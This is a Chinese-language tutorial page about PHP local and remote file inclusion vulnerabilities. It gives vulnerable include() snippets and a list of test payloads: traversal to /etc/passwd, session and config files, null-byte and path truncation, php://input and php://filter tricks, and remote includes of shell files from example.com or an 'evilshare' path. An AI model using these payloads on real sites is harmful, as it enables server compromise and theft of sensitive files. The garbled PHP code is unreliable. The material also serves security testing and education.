源码仅用于测试,请勿用于商用。源码来自网络,如有侵权,请联系我下架。

一、攻击场景

  • 文件包含攻击
  • 描述

    文件包含漏洞是“代码注入”的一种,由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,注入一段用户能控制的脚本或代码,成功利用时可以使 web server 将用户上传的文件当成 PHP 执行,从而导致用户可获取一定的服务器权限,文件包含漏洞可能会导致服务器端代码执行、客户端代码执行、敏感信息泄露等问题。

    文件包含漏洞包括“本地文件包含”和“远程文件包含”,本地文件包含漏洞出现在当页面接受 URL 参数作为输入且这个输入没有正确的校验从而可以导致目录遍历字符串注入或者访问到其他页面。远程文件包含漏洞出现在当页面接受 URL 参数作为输入,且这个输入没有正确的校验从而导致可以将外部的 URL 作为输入参数,从而导致可以通过服务器访问外部 URL 以及其他服务器上的文件(比如黑客服务器的攻击代码)。

    尽管大多数文件包含的问题出现的 PHP 脚本中,但是我们也需要注意,其他如 JSP , ASP 语言也会出现文件包含漏洞。

    要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:

    1、 Web 应用采用 include ()等文件包含函数通过动态变量的方式引入需要包含的文件

    2、用户能多控制该动态变量

  • 测试方法

    程序的本意是当提交 url 为http://example.com/index.php?func=add.php时,调用 add . php 里面的样式内容和功能。直接访问http://example.com/index.php则会包含默认的 default . php 。其中, index . php 代码为:

    <?php

    if ($_ GET [‘ func ‘]){

    include .$_ GET [‘ func ‘];

    else {

    include 'default . php':

    }

    ?>

    通过 PHP 的函数 include 引入文件时,由于传入的文件名 func 没有经过合理的校验,从而可以操作预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

    如果我们提交http://example.com/index.php?func=upload/pic/evil.jpg,且 evil . jpg 是由黑客上传到服务器上的一个图片,在图片的末尾添加了恶意的 php 代码,那么恶意的代码就会被引入当前文件并执行。如果被包含的文件中无有效的 php 代码,则会直接把文件内容输出。

    可包含的文件

  • 普通本地文件包含

    <?php include (” inc /".$_ GET[‘ file ‘]);?>

    测试时,可以尝试包含如下内容:

  • 包含同目录下的文件,例如: file =. htaccess

  • 目录遍历,例如:file=../../../../var/lib/locate.db

  • 包错误日志,例如:file =../../../../../../var/log/apache/ error.loge

  • 获取 web 目录或者其他配置文件,例如:fille =../../../../../../usr/local/apache2/conf/httpd.conf

  • 包含上传的附件,例如: file =../attachment/ media/xxx.file

  • 读取 session 文件,例如:file=../../../../../../tmp/ sess _tnrdo9ub2tsdurntvOpdir1no7

  • 读取系统文件,例如:file =../../../../etc/passwd

  • 如果有 phpinfo 可以包含临时文件

  • 有限制的本地文件包含

  • <?php include (” inc /”_$_ GET[‘file’].” htm “);?>

    测试时,可以尝试包含如下内容:

  • %00截断,例如:?file= ../../../../../../../etc/passwd %00

  • %00截断目录遍历,例如:file=../../../../../../../../../var /www/%00

  • 路径长度截断,例如:file =../../../../../../../../etc/ passwd /././././.[…]/././././.

  • 点号截断,例如:? file =../../../../../../boot.ini/………..[….]…….

  • 普通远程文件包含

    <?php include ($_ GET [‘ file ‘]);?>

    测试时,可以尝试包含如下内容:

  • 远程代码执行:? file =[ httpIhttpsIftp ]://example . com/shell.txt

  • 利用 php 流 input :?file = php:// input

  • 利用 php 流 filter :? file=php://filter/convert .base64-encode/resource=index.php

  • 利用 data URIs :?file=data://text/plain ;base64,SSBsb3ZIIFBIUAo=+

  • 利用 XSS 执行任意代码:?file =http://127.0.0.1/path/xss.php?xss=phpcode

  • 有限制的远程文件包含

  • <?php include ( $ _ GET [‘ file’].".htm “):?>

    测试时,可以尝试包含如下内容:

  • ?file=http://example.com/shell

  • ?file=http://example.com/shell.txt?

  • ?file=http://example.com/shell.txt%23

  • ?file=\evilshare\shell.php

二、影响

文件包含漏洞能够读取敏感文件或者服务器端脚本的源代码,远程文件包含漏洞可以直接用来执行任意命令(因为攻击者能多自定义被包含的文件内容),从而为攻击者实施进一步的攻击奠定基础。

阅读全文
资源下载
下载价格免费
使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责所有源码请自测!不保证你源码完整性有效性所有源码都是全网搜集
原文链接:https://bcbccb.cn/12003.html,转载请注明出处。 免责声明:本资源并未取得原始权利人的授权,不可商用,仅可用于学习分析底层代码,CSS等,禁止用于商业行为。如因擅自商用引起的相关纠纷及法律责任,由使用人全部承担。支持正版,人人有责,请于下载后24小时内删除,谢谢支持!
1

评论0

经典海外游戏源码海外高端娱乐游戏源码全开源 带教程
经典海外游戏源码海外高端娱乐游戏源码全开源 带教程
9分钟前 有人购买 去瞅瞅看

站点公告

本站所提供的源码(主题/插件/应用源码)等资源仅供学习交流

禁止使用商业用途,否则产生的一切后果将由下载用户自行承担!

有部分资源为网上收集或仿制而来,若侵犯了您的合法权益,请来信通知我们.

目前会员大酬宾,终身会员现价299金币。近期调整价格

赶快加入,机会不等人! 立即参与

显示验证码
没有账号?注册  忘记密码?

社交账号快速登录

zh_CNChinese